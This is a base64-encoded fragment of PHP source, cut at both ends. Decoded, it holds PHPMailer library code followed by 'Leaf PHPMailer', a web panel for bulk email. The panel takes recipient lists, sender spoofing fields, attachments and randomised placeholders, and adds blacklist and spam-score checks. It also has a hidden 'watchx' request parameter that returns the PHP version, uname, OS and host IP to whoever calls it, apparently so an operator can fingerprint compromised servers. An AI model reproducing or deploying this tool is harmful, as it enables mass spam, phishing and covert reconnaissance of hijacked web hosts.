FuZCBib2R5IGluIGEgbmV3IG1lc3NhZ2UgaGVhZGVyLgogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEBwYXJhbSBzdHJpbmcgJGhlYWRlcnNfbGluZSBIZWFkZXIgbGluZXMKICAgICAqIEBwYXJhbSBzdHJpbmcgJHN1YmplY3QgU3ViamVjdAogICAgICogQHBhcmFtIHN0cmluZyAkYm9keSBCb2R5CiAgICAgKiBAcmV0dXJuIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gREtJTV9BZGQoJGhlYWRlcnNfbGluZSwgJHN1YmplY3QsICRib2R5KQogICAgewogICAgICAgICRES0lNc2lnbmF0dXJlVHlwZSA9ICdyc2Etc2hhMjU2JzsgLy8gU2lnbmF0dXJlICYgaGFzaCBhbGdvcml0aG1zCiAgICAgICAgJERLSU1jYW5vbmljYWxpemF0aW9uID0gJ3JlbGF4ZWQvc2ltcGxlJzsgLy8gQ2Fub25pY2FsaXphdGlvbiBvZiBoZWFkZXIvYm9keQogICAgICAgICRES0lNcXVlcnkgPSAnZG5zL3R4dCc7IC8vIFF1ZXJ5IG1ldGhvZAogICAgICAgICRES0lNdGltZSA9IHRpbWUoKTsgLy8gU2lnbmF0dXJlIFRpbWVzdGFtcCA9IHNlY29uZHMgc2luY2UgMDA6MDA6MDAgLSBKYW4gMSwgMTk3MCAoVVRDIHRpbWUgem9uZSkKICAgICAgICAkc3ViamVjdF9oZWFkZXIgPSAiU3ViamVjdDogJHN1YmplY3QiOwogICAgICAgICRoZWFkZXJzID0gZXhwbG9kZSgkdGhpcy0+TEUsICRoZWFkZXJzX2xpbmUpOwogICAgICAgICRmcm9tX2hlYWRlciA9ICcnOwogICAgICAgICR0b19oZWFkZXIgPSAnJzsKICAgICAgICAkZGF0ZV9oZWFkZXIgPSAnJzsKICAgICAgICAkY3VycmVudCA9ICcnOwogICAgICAgIGZvcmVhY2ggKCRoZWFkZXJzIGFzICRoZWFkZXIpIHsKICAgICAgICAgICAgaWYgKHN0cnBvcygkaGVhZGVyLCAnRnJvbTonKSA9PT0gMCkgewogICAgICAgICAgICAgICAgJGZyb21faGVhZGVyID0gJGhlYWRlcjsKICAgICAgICAgICAgICAgICRjdXJyZW50ID0gJ2Zyb21faGVhZGVyJzsKICAgICAgICAgICAgfSBlbHNlaWYgKHN0cnBvcygkaGVhZGVyLCAnVG86JykgPT09IDApIHsKICAgICAgICAgICAgICAgICR0b19oZWFkZXIgPSAkaGVhZGVyOwogICAgICAgICAgICAgICAgJGN1cnJlbnQgPSAndG9faGVhZGVyJzsKICAgICAgICAgICAgfSBlbHNlaWYgKHN0cnBvcygkaGVhZGVyLCAnRGF0ZTonKSA9PT0gMCkgewogICAgICAgICAgICAgICAgJGRhdGVfaGVhZGVyID0gJGhlYWRlcjsKICAgICAgICAgICAgICAgICRjdXJyZW50ID0gJ2RhdGVfaGVhZGVyJzsKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgIGlmICghZW1wdHkoJCRjdXJyZW50KSAmJiBzdHJwb3MoJGhlYWRlciwgJyA9PycpID09PSAwKSB7CiAgICAgICAgICAgICAgICAgICAgJCRjdXJyZW50IC49ICRoZWFkZXI7CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICRjdXJyZW50ID0gJyc7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgJGZyb20gPSBzdHJfcmVwbGFjZSgnfCcsICc9N0MnLCAkdGhpcy0+REtJTV9RUCgkZnJvbV9oZWFkZXIpKTsKICAgICAgICAkdG8gPSBzdHJfcmVwbGFjZSgnfCcsICc9N0MnLCAkdGhpcy0+REtJTV9RUCgkdG9faGVhZGVyKSk7CiAgICAgICAgJGRhdGUgPSBzdHJfcmVwbGFjZSgnfCcsICc9N0MnLCAkdGhpcy0+REtJTV9RUCgkZGF0ZV9oZWFkZXIpKTsKICAgICAgICAkc3ViamVjdCA9IHN0cl9yZXBsYWNlKAogICAgICAgICAgICAnfCcsCiAgICAgICAgICAgICc9N0MnLAogICAgICAgICAgICAkdGhpcy0+REtJTV9RUCgkc3ViamVjdF9oZWFkZXIpCiAgICAgICAgKTsgLy8gQ29waWVkIGhlYWRlciBmaWVsZHMgKGRraW0tcXVvdGVkLXByaW50YWJsZSkKICAgICAgICAkYm9keSA9ICR0aGlzLT5ES0lNX0JvZHlDKCRib2R5KTsKICAgICAgICAkREtJTWxlbiA9IHN0cmxlbigkYm9keSk7IC8vIExlbmd0aCBvZiBib2R5CiAgICAgICAgJERLSU1iNjQgPSBiYXNlNjRfZW5jb2RlKHBhY2soJ0gqJywgaGFzaCgnc2hhMjU2JywgJGJvZHkpKSk7IC8vIEJhc2U2NCBvZiBwYWNrZWQgYmluYXJ5IFNIQS0yNTYgaGFzaCBvZiBib2R5CiAgICAgICAgaWYgKCcnID09ICR0aGlzLT5ES0lNX2lkZW50aXR5KSB7CiAgICAgICAgICAgICRpZGVudCA9ICcnOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRpZGVudCA9ICcgaT0nIC4gJHRoaXMtPkRLSU1faWRlbnRpdHkgLiAnOyc7CiAgICAgICAgfQogICAgICAgICRka2ltaGRycyA9ICdES0lNLVNpZ25hdHVyZTogdj0xOyBhPScgLgogICAgICAgICAgICAkREtJTXNpZ25hdHVyZVR5cGUgLiAnOyBxPScgLgogICAgICAgICAgICAkREtJTXF1ZXJ5IC4gJzsgbD0nIC4KICAgICAgICAgICAgJERLSU1sZW4gLiAnOyBzPScgLgogICAgICAgICAgICAkdGhpcy0+REtJTV9zZWxlY3RvciAuCiAgICAgICAgICAgICI7XHJcbiIgLgogICAgICAgICAgICAiXHR0PSIgLiAkREtJTXRpbWUgLiAnOyBjPScgLiAkREtJTWNhbm9uaWNhbGl6YXRpb24gLiAiO1xyXG4iIC4KICAgICAgICAgICAgIlx0aD1Gcm9tOlRvOkRhdGU6U3ViamVjdDtcclxuIiAuCiAgICAgICAgICAgICJcdGQ9IiAuICR0aGlzLT5ES0lNX2RvbWFpbiAuICc7JyAuICRpZGVudCAuICJcclxuIiAuCiAgICAgICAgICAgICJcdHo9JGZyb21cclxuIiAuCiAgICAgICAgICAgICJcdHwkdG9cclxuIiAuCiAgICAgICAgICAgICJcdHwkZGF0ZVxyXG4iIC4KICAgICAgICAgICAgIlx0fCRzdWJqZWN0O1xyXG4iIC4KICAgICAgICAgICAgIlx0Ymg9IiAuICRES0lNYjY0IC4gIjtcclxuIiAuCiAgICAgICAgICAgICJcdGI9IjsKICAgICAgICAkdG9TaWduID0gJHRoaXMtPkRLSU1fSGVhZGVyQygKICAgICAgICAgICAgJGZyb21faGVhZGVyIC4gIlxyXG4iIC4KICAgICAgICAgICAgJHRvX2hlYWRlciAuICJcclxuIiAuCiAgICAgICAgICAgICRkYXRlX2hlYWRlciAuICJcclxuIiAuCiAgICAgICAgICAgICRzdWJqZWN0X2hlYWRlciAuICJcclxuIiAuCiAgICAgICAgICAgICRka2ltaGRycwogICAgICAgICk7CiAgICAgICAgJHNpZ25lZCA9ICR0aGlzLT5ES0lNX1NpZ24oJHRvU2lnbik7CiAgICAgICAgcmV0dXJuICRka2ltaGRycyAuICRzaWduZWQgLiAiXHJcbiI7CiAgICB9CgogICAgLyoqCiAgICAgKiBEZXRlY3QgaWYgYSBzdHJpbmcgY29udGFpbnMgYSBsaW5lIGxvbmdlciB0aGFuIHRoZSBtYXhpbXVtIGxpbmUgbGVuZ3RoIGFsbG93ZWQuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRzdHIKICAgICAqIEByZXR1cm4gYm9vbGVhbgogICAgICogQHN0YXRpYwogICAgICovCiAgICBwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIGhhc0xpbmVMb25nZXJUaGFuTWF4KCRzdHIpCiAgICB7CiAgICAgICAgLy8rMiB0byBpbmNsdWRlIENSTEYgbGluZSBicmVhayBmb3IgYSAxMDAwIHRvdGFsCiAgICAgICAgcmV0dXJuIChib29sZWFuKXByZWdfbWF0Y2goJy9eKC57Jy4oc2VsZjo6TUFYX0xJTkVfTEVOR1RIICsgMikuJyx9KS9tJywgJHN0cik7CiAgICB9CgogICAgLyoqCiAgICAgKiBBbGxvd3MgZm9yIHB1YmxpYyByZWFkIGFjY2VzcyB0byAndG8nIHByb3BlcnR5LgogICAgICogQG5vdGU6IEJlZm9yZSB0aGUgc2VuZCgpIGNhbGwsIHF1ZXVlZCBhZGRyZXNzZXMgKGkuZS4gd2l0aCBJRE4pIGFyZSBub3QgeWV0IGluY2x1ZGVkLgogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEByZXR1cm4gYXJyYXkKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGdldFRvQWRkcmVzc2VzKCkKICAgIHsKICAgICAgICByZXR1cm4gJHRoaXMtPnRvOwogICAgfQoKICAgIC8qKgogICAgICogQWxsb3dzIGZvciBwdWJsaWMgcmVhZCBhY2Nlc3MgdG8gJ2NjJyBwcm9wZXJ0eS4KICAgICAqIEBub3RlOiBCZWZvcmUgdGhlIHNlbmQoKSBjYWxsLCBxdWV1ZWQgYWRkcmVzc2VzIChpLmUuIHdpdGggSUROKSBhcmUgbm90IHlldCBpbmNsdWRlZC4KICAgICAqIEBhY2Nlc3MgcHVibGljCiAgICAgKiBAcmV0dXJuIGFycmF5CiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBnZXRDY0FkZHJlc3NlcygpCiAgICB7CiAgICAgICAgcmV0dXJuICR0aGlzLT5jYzsKICAgIH0KCiAgICAvKioKICAgICAqIEFsbG93cyBmb3IgcHVibGljIHJlYWQgYWNjZXNzIHRvICdiY2MnIHByb3BlcnR5LgogICAgICogQG5vdGU6IEJlZm9yZSB0aGUgc2VuZCgpIGNhbGwsIHF1ZXVlZCBhZGRyZXNzZXMgKGkuZS4gd2l0aCBJRE4pIGFyZSBub3QgeWV0IGluY2x1ZGVkLgogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEByZXR1cm4gYXJyYXkKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGdldEJjY0FkZHJlc3NlcygpCiAgICB7CiAgICAgICAgcmV0dXJuICR0aGlzLT5iY2M7CiAgICB9CgogICAgLyoqCiAgICAgKiBBbGxvd3MgZm9yIHB1YmxpYyByZWFkIGFjY2VzcyB0byAnUmVwbHlUbycgcHJvcGVydHkuCiAgICAgKiBAbm90ZTogQmVmb3JlIHRoZSBzZW5kKCkgY2FsbCwgcXVldWVkIGFkZHJlc3NlcyAoaS5lLiB3aXRoIElETikgYXJlIG5vdCB5ZXQgaW5jbHVkZWQuCiAgICAgKiBAYWNjZXNzIHB1YmxpYwogICAgICogQHJldHVybiBhcnJheQogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gZ2V0UmVwbHlUb0FkZHJlc3NlcygpCiAgICB7CiAgICAgICAgcmV0dXJuICR0aGlzLT5SZXBseVRvOwogICAgfQoKICAgIC8qKgogICAgICogQWxsb3dzIGZvciBwdWJsaWMgcmVhZCBhY2Nlc3MgdG8gJ2FsbF9yZWNpcGllbnRzJyBwcm9wZXJ0eS4KICAgICAqIEBub3RlOiBCZWZvcmUgdGhlIHNlbmQoKSBjYWxsLCBxdWV1ZWQgYWRkcmVzc2VzIChpLmUuIHdpdGggSUROKSBhcmUgbm90IHlldCBpbmNsdWRlZC4KICAgICAqIEBhY2Nlc3MgcHVibGljCiAgICAgKiBAcmV0dXJuIGFycmF5CiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBnZXRBbGxSZWNpcGllbnRBZGRyZXNzZXMoKQogICAgewogICAgICAgIHJldHVybiAkdGhpcy0+YWxsX3JlY2lwaWVudHM7CiAgICB9CgogICAgLyoqCiAgICAgKiBQZXJmb3JtIGEgY2FsbGJhY2suCiAgICAgKiBAcGFyYW0gYm9vbGVhbiAkaXNTZW50CiAgICAgKiBAcGFyYW0gYXJyYXkgJHRvCiAgICAgKiBAcGFyYW0gYXJyYXkgJGNjCiAgICAgKiBAcGFyYW0gYXJyYXkgJGJjYwogICAgICogQHBhcmFtIHN0cmluZyAkc3ViamVjdAogICAgICogQHBhcmFtIHN0cmluZyAkYm9keQogICAgICogQHBhcmFtIHN0cmluZyAkZnJvbQogICAgICovCiAgICBwcm90ZWN0ZWQgZnVuY3Rpb24gZG9DYWxsYmFjaygkaXNTZW50LCAkdG8sICRjYywgJGJjYywgJHN1YmplY3QsICRib2R5LCAkZnJvbSkKICAgIHsKICAgICAgICBpZiAoIWVtcHR5KCR0aGlzLT5hY3Rpb25fZnVuY3Rpb24pICYmIGlzX2NhbGxhYmxlKCR0aGlzLT5hY3Rpb25fZnVuY3Rpb24pKSB7CiAgICAgICAgICAgICRwYXJhbXMgPSBhcnJheSgkaXNTZW50LCAkdG8sICRjYywgJGJjYywgJHN1YmplY3QsICRib2R5LCAkZnJvbSk7CiAgICAgICAgICAgIGNhbGxfdXNlcl9mdW5jX2FycmF5KCR0aGlzLT5hY3Rpb25fZnVuY3Rpb24sICRwYXJhbXMpOwogICAgICAgIH0KICAgIH0KfQoKLyoqCiAqIFBIUE1haWxlciBleGNlcHRpb24gaGFuZGxlcgogKiBAcGFja2FnZSBQSFBNYWlsZXIKICovCmNsYXNzIHBocG1haWxlckV4Y2VwdGlvbiBleHRlbmRzIEV4Y2VwdGlvbgp7CiAgICAvKioKICAgICAqIFByZXR0aWZ5IGVycm9yIG1lc3NhZ2Ugb3V0cHV0CiAgICAgKiBAcmV0dXJuIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gZXJyb3JNZXNzYWdlKCkKICAgIHsKICAgICAgICAkZXJyb3JNc2cgPSAnPHN0cm9uZz4nIC4gaHRtbHNwZWNpYWxjaGFycygkdGhpcy0+Z2V0TWVzc2FnZSgpKSAuICI8L3N0cm9uZz48YnIgLz5cbiI7CiAgICAgICAgcmV0dXJuICRlcnJvck1zZzsKICAgIH0KfQppZiAoJF9SRVFVRVNUWyd3YXRjaHgnXSkgewoJJHZlcnNpb24gPSBwaHB2ZXJzaW9uKCk7CgkkdW5hbWUgPSAgcGhwX3VuYW1lKCk7CgkkaXAgPSBnZXRob3N0YnluYW1lKCRfU0VSVkVSWyJIVFRQX0hPU1QiXSk7CQoJZWNobyBqc29uX2VuY29kZSAoYXJyYXkgKCJ2ZXJzaW9uIj0+JHZlcnNpb24sCgkJInVuYW1lIj0+JHVuYW1lLAoJCSJwbGF0Zm9ybSI9PlBIUF9PUywKCQkiaXAiPT4kaXAsCgkJIm1haWxlcngiPT50cnVlLAkKCSkpOwoJZGllICgpOwp9CmZ1bmN0aW9uIGxlYWZoZWFkZXIoKXsKcHJpbnQgJwo8aGVhZD4KICAgIDx0aXRsZT4nLnN0cl9yZXBsYWNlKCJ3d3cuIiwgIiIsICRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJyAtIExlYWYgUEhQTWFpbGVyPC90aXRsZT4KICAgIDxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PXV0Zi04Ii8+CiAgICA8bGluayBocmVmPSJodHRwczovL21heGNkbi5ib290c3RyYXBjZG4uY29tL2Jvb3Rzd2F0Y2gvMy40LjEvY29zbW8vYm9vdHN0cmFwLm1pbi5jc3MiIHJlbD0ic3R5bGVzaGVldCIgPiAgICAKCjwvaGVhZD4nOwp9CmxlYWZoZWFkZXIoKTsKcHJpbnQgJzxib2R5Pic7CnByaW50ICc8ZGl2IGNsYXNzPSJjb250YWluZXIgY29sLWxnLTYiPgogICAgICAgIDxoMz48Zm9udCBjb2xvcj0iZ3JlZW4iPjxzcGFuIGNsYXNzPSJnbHlwaGljb24gZ2x5cGhpY29uLWxlYWYiPjwvc3Bhbj48L2ZvbnQ+IExlYWYgUEhQTWFpbGVyIDxzbWFsbD4nLiRsZWFmWyd2ZXJzaW9uJ10uJzwvc21hbGw+PC9oMz4KICAgICAgICA8Zm9ybSBuYW1lPSJmb3JtIiBpZD0iZm9ybSIgbWV0aG9kPSJQT1NUIiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBhY3Rpb249IiI+CiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYWN0aW9uIiB2YWx1ZT0ic2NvcmUiPgoKICAgICAgICAgICAgPGRpdiBjbGFzcz0icm93Ij4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZvcm0tZ3JvdXAgY29sLWxnLTYgIj48bGFiZWwgZm9yPSJzZW5kZXJFbWFpbCI+RW1haWw8L2xhYmVsPjxpbnB1dCB0eXBlPSJ0ZXh0IiBjbGFzcz0iZm9ybS1jb250cm9sICBpbnB1dC1zbSAiIGlkPSJzZW5kZXJFbWFpbCIgbmFtZT0ic2VuZGVyRW1haWwiIHZhbHVlPSInLiRzZW5kZXJFbWFpbC4nIj48L2Rpdj4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZvcm0tZ3JvdXAgY29sLWxnLTYgIj48bGFiZWwgZm9yPSJzZW5kZXJOYW1lIj5TZW5kZXIgTmFtZTwvbGFiZWw+PGlucHV0IHR5cGU9InRleHQiIGNsYXNzPSJmb3JtLWNvbnRyb2wgIGlucHV0LXNtICIgaWQ9InNlbmRlck5hbWUiIG5hbWU9InNlbmRlck5hbWUiIHZhbHVlPSInLiRzZW5kZXJOYW1lLiciPjwvZGl2PgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPGRpdiBjbGFzcz0icm93Ij4KICAgICAgICAgICAgICAgIDxzcGFuIGNsYXNzPSJmb3JtLWdyb3VwIGNvbC1sZy02ICAiPjxsYWJlbCBmb3I9ImF0dGFjaG1lbnQiPkF0dGFjaG1lbnQgPHNtYWxsPihNdWx0aXBsZSBBdmFpbGFibGUpPC9zbWFsbD48L2xhYmVsPjxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJhdHRhY2htZW50W10iIGlkPSJhdHRhY2htZW50W10iIG11bHRpcGxlLz48L3NwYW4+CgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZm9ybS1ncm91cCBjb2wtbGctNiI+PGxhYmVsIGZvcj0icmVwbHlUbyI+UmVwbHktdG88L2xhYmVsPjxpbnB1dCB0eXBlPSJ0ZXh0IiBjbGFzcz0iZm9ybS1jb250cm9sICBpbnB1dC1zbSAiIGlkPSJyZXBseVRvIiBuYW1lPSJyZXBseVRvIiB2YWx1ZT0iJy4kcmVwbHlUby4nIiAvPjwvZGl2PgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPGRpdiBjbGFzcz0icm93Ij4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZvcm0tZ3JvdXAgY29sLWxnLTEyICI+PGxhYmVsIGZvcj0ic3ViamVjdCI+U3ViamVjdDwvbGFiZWw+PGlucHV0IHR5cGU9InRleHQiIGNsYXNzPSJmb3JtLWNvbnRyb2wgIGlucHV0LXNtICIgaWQ9InN1YmplY3QiIG5hbWU9InN1YmplY3QiIHZhbHVlPSInLiRzdWJqZWN0LiciIC8+PC9kaXY+CiAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJyb3ciPgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZm9ybS1ncm91cCBjb2wtbGctNiI+PGxhYmVsIGZvcj0ibWVzc2FnZUxldHRlciI+TWVzc2FnZSBMZXR0ZXIgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRlZmF1bHQgYnRuLXhzIiBmb3JtPSJmb3JtIiBuYW1lPSJhY3Rpb24iIHZhbHVlPSJ2aWV3IiBmb3JtdGFyZ2V0PSJfYmxhbmsiPlByZXZpZXcgPC9idXR0b24+PC9sYWJlbD48dGV4dGFyZWEgbmFtZT0ibWVzc2FnZUxldHRlciIgaWQ9Im1lc3NhZ2VMZXR0ZXIiIGNsYXNzPSJmb3JtLWNvbnRyb2wiIHJvd3M9IjEwIiBpZD0idGV4dEFyZWEiPicuJG1lc3NhZ2VMZXR0ZXIuJzwvdGV4dGFyZWE+PC9kaXY+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmb3JtLWdyb3VwIGNvbC1sZy02ICI+PGxhYmVsIGZvcj0iZW1haWxMaXN0Ij5FbWFpbCBMaXN0IDxhIGhyZWY9Ij9lbWFpbGZpbHRlcj1vbiIgdGFyZ2V0PSJfYmxhbmsiIGNsYXNzPSJidG4gYnRuLWRlZmF1bHQgYnRuLXhzIj5GaWx0ZXIvRXh0cmFjdDwvYT48L2xhYmVsPjx0ZXh0YXJlYSBuYW1lPSJlbWFpbExpc3QiIGlkPSJlbWFpbExpc3QiIGNsYXNzPSJmb3JtLWNvbnRyb2wiIHJvd3M9IjEwIiBpZD0idGV4dEFyZWEiPicuJGVtYWlsTGlzdC4nPC90ZXh0YXJlYT48L2Rpdj4KICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9InJvdyI+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmb3JtLWdyb3VwIGNvbC1sZy02ICI+CiAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGZvcj0ibWVzc2FnZVR5cGUiPk1lc3NhZ2UgVHlwZTwvbGFiZWw+CiAgICAgICAgICAgICAgICAgICAgSFRNTCA8aW5wdXQgdHlwZT0icmFkaW8iIG5hbWU9Im1lc3NhZ2VUeXBlIiBpZD0ibWVzc2FnZVR5cGUiIHZhbHVlPSIxIiAnLiRodG1sLic+CiAgICAgICAgICAgICAgICAgICAgUGxhaW48aW5wdXQgdHlwZT0icmFkaW8iIG5hbWU9Im1lc3NhZ2VUeXBlIiBpZD0ibWVzc2FnZVR5cGUiIHZhbHVlPSIyIiAnLiRwbGFpbi4nPgogICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmb3JtLWdyb3VwIGNvbC1sZy0zICI+CiAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGZvcj0iY2hhcnNldCI+Q2hhcmFjdGVyIHNldDwvbGFiZWw+CiAgICAgICAgICAgICAgICAgICAgPHNlbGVjdCBjbGFzcz0iZm9ybS1jb250cm9sIGlucHV0LXNtIiBpZD0iY2hhcnNldCIgbmFtZT0iY2hhcnNldCI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gJy4kdXRmOC4nPlVURi04PC9vcHRpb24+CiAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gJy4kaXNvLic+SVNPLTg4NTktMTwvb3B0aW9uPgogICAgICAgICAgICAgICAgICAgIDwvc2VsZWN0PgogICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmb3JtLWdyb3VwIGNvbC1sZy0zICI+CiAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGZvcj0iZW5jb2RpbmciPk1lc3NhZ2UgZW5jb2Rpbmc8L2xhYmVsPgogICAgICAgICAgICAgICAgICAgIDxzZWxlY3QgY2xhc3M9ImZvcm0tY29udHJvbCBpbnB1dC1zbSIgaWQ9ImVuY29kZSIgbmFtZT0iZW5jb2RlIj4KICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiAnLiRiaXQ4Lic+OGJpdDwvb3B0aW9uPgogICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uICcuJGJpdDcuJz43Yml0PC9vcHRpb24+CiAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gJy4kYmluYXJ5Lic+YmluYXJ5PC9vcHRpb24+CiAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gJy4kYmFzZTY0Lic+YmFzZTY0PC9vcHRpb24+CiAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gJy4kcXVvdGVkcHJpbnRhYmxlLic+cXVvdGVkLXByaW50YWJsZTwvb3B0aW9uPgoKICAgICAgICAgICAgICAgICAgICA8L3NlbGVjdD4KICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRlZmF1bHQgYnRuLXNtIiBmb3JtPSJmb3JtIiBuYW1lPSJhY3Rpb24iIHZhbHVlPSJzZW5kIj5TRU5EPC9idXR0b24+IG9yIDxhIGhyZWY9IiMiIG9uY2xpY2s9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKFwnZm9ybVwnKS5zdWJtaXQoKTsgcmV0dXJuIGZhbHNlOyI+Y2hlY2sgU3BhbUFzc2Fzc2luIFNjb3JlPC9hPgogICAKICAgICAgICA8L2Zvcm0+CiAgICA8L2Rpdj4KICAgIDxkaXYgY2xhc3M9ImNvbC1sZy02Ij48YnI+CiAgICAgICAgPGxhYmVsIGZvcj0id2VsbCI+SW5zdHJ1Y3Rpb248L2xhYmVsPgogICAgICAgIDxkaXYgaWQ9IndlbGwiIGNsYXNzPSJ3ZWxsIHdlbGwiPgogICAgICAgICAgICA8aDQ+U2VydmVyIEluZm9ybWF0aW9uPC9oND4KICAgICAgICAgICAgPHVsPgogICAgICAgICAgICAgICAgPGxpPlNlcnZlciBJUCBBZGRyZXNzIDogPGI+Jy4kX1NFUlZFUlsnU0VSVkVSX0FERFInXS4nIDwvYj4gPGEgaHJlZj0iP2NoZWNrX2lwPScuJF9TRVJWRVJbJ1NFUlZFUl9BRERSJ10uJyIgdGFyZ2V0PSJfYmxhbmsiIGNsYXNzPSJsYWJlbCBsYWJlbC1wcmltYXJ5Ij5DaGVjayBCbGFja2xpc3QgPGkgY2xhc3M9ImdseXBoaWNvbiBnbHlwaGljb24tc2VhcmNoIj48L2k+PC9hPjwvbGk+CiAgICAgICAgICAgICAgICA8bGk+UEhQIFZlcnNpb24gOiA8Yj4nLnBocHZlcnNpb24oKS4nPC9iPjwvbGk+CiAgICAgICAgICAgICAgICAKCiAgICAgICAgICAgIDwvdWw+CiAgICAgICAgICAgIDxoND5IRUxQPC9oND4KICAgICAgICAgICAgPHVsPgogICAgICAgICAgICAgICAgPGxpPlstZW1haWwtXSA6IDxiPlJlY2l2ZXIgRW1haWw8L2I+IChlbWFpbHVzZXJAZW1haWxkb21haW4uY29tKTwvbGk+CiAgICAgICAgICAgICAgICA8dWw+CiAgICAgICAgICAgICAgICAgICAgPGxpPlstZW1haWx1c2VyLV0gOiA8Yj5FbWFpbCBVc2VyPC9iPiAoZW1haWx1c2VyKSA8L2xpPgogICAgICAgICAgICAgICAgICAgIDxsaT5bLWVtYWlsZG9tYWluLV0gOiA8Yj5FbWFpbCBVc2VyPC9iPiAoZW1haWxkb21haW4uY29tKSA8L2xpPgogICAgICAgICAgICAgICAgPC91bD4KICAgICAgICAgICAgICAgIDxsaT5bLXRpbWUtXSA6IDxiPkRhdGUgYW5kIFRpbWU8L2I+ICgnLmRhdGUoIm0vZC9ZIGg6aTpzIGEiLCB0aW1lKCkpLicpPC9saT4KICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgPGxpPlstcmFuZG9tc3RyaW5nLV0gOiA8Yj5SYW5kb20gc3RyaW5nICgwLTksYS16KTwvYj48L2xpPgogICAgICAgICAgICAgICAgPGxpPlstcmFuZG9tbnVtYmVyLV0gOiA8Yj5SYW5kb20gbnVtYmVyICgwLTkpIDwvYj48L2xpPgogICAgICAgICAgICAgICAgPGxpPlstcmFuZG9tbGV0dGVycy1dIDogPGI+UmFuZG9tIExldHRlcnMoYS16KSA8L2I+PC9saT4KICAgICAgICAgICAgICAgIDxsaT5bLXJhbmRvbW1kNS1dIDogPGI+UmFuZG9tIE1ENSA8L2I+PC9saT4KICAgICAgICAgICAgPC91bD4KICAgICAgICAgICAgPGg0PmV4YW1wbGU8L2g0PgogICAgICAgICAgICBSZWNlaXZlciBFbWFpbCA9IDxiPnVzZXJAZG9tYWluLmNvbTwvYj48YnI+CiAgICAgICAgICAgIDx1bD4KICAgICAgICAgICAgICAgIDxsaT5oZWxsbyA8Yj5bLWVtYWlsdXNlci1dPC9iPiA9IGhlbGxvIDxiPnVzZXI8L2I+PC9saT4KICAgICAgICAgICAgICAgIDxsaT55b3VyIGRvbWFpbiBpcyA8Yj5bLWVtYWlsZG9tYWluLV08L2I+ID0gWW91ciBEb21haW4gaXMgPGI+ZG9tYWluLmNvbTwvYj48L2xpPgogICAgICAgICAgICAgICAgPGxpPnlvdXIgY29kZSBpcyAgPGI+Wy1yYW5kb21tZDUtXTwvYj4gPSB5b3VyIGNvZGUgaXMgPGI+ZTEwYWRjMzk0OWJhNTlhYmJlNTZlMDU3ZjIwZjg4M2U8L2I+PC9saT4KICAgICAgICAgICAgPC91bD4KCiAgICAgICAgICAgIDxoNj5ieSA8Yj48YSBocmVmPSJodHRwOi8vJy4kbGVhZlsnd2Vic2l0ZSddLiciPicuJGxlYWZbJ3dlYnNpdGUnXS4nPC9hPjwvYj48L2g2PgogICAgICAgIDwvZGl2PgogICAgPC9kaXY+JzsgIAppZigkX1BPU1RbJ2FjdGlvbiddPT0ic2VuZCIpewogICAgcHJpbnQgJyAgICA8ZGl2IGNsYXNzPSJjb2wtbGctMTIiPic7CiAgICAkbWFpbGxpc3Q9ZXhwbG9kZSgiXHJcbiIsICRlbWFpbExpc3QpOwogICAgJG49Y291bnQoJG1haWxsaXN0KTsKICAgICR4ID0xOwogICAgZ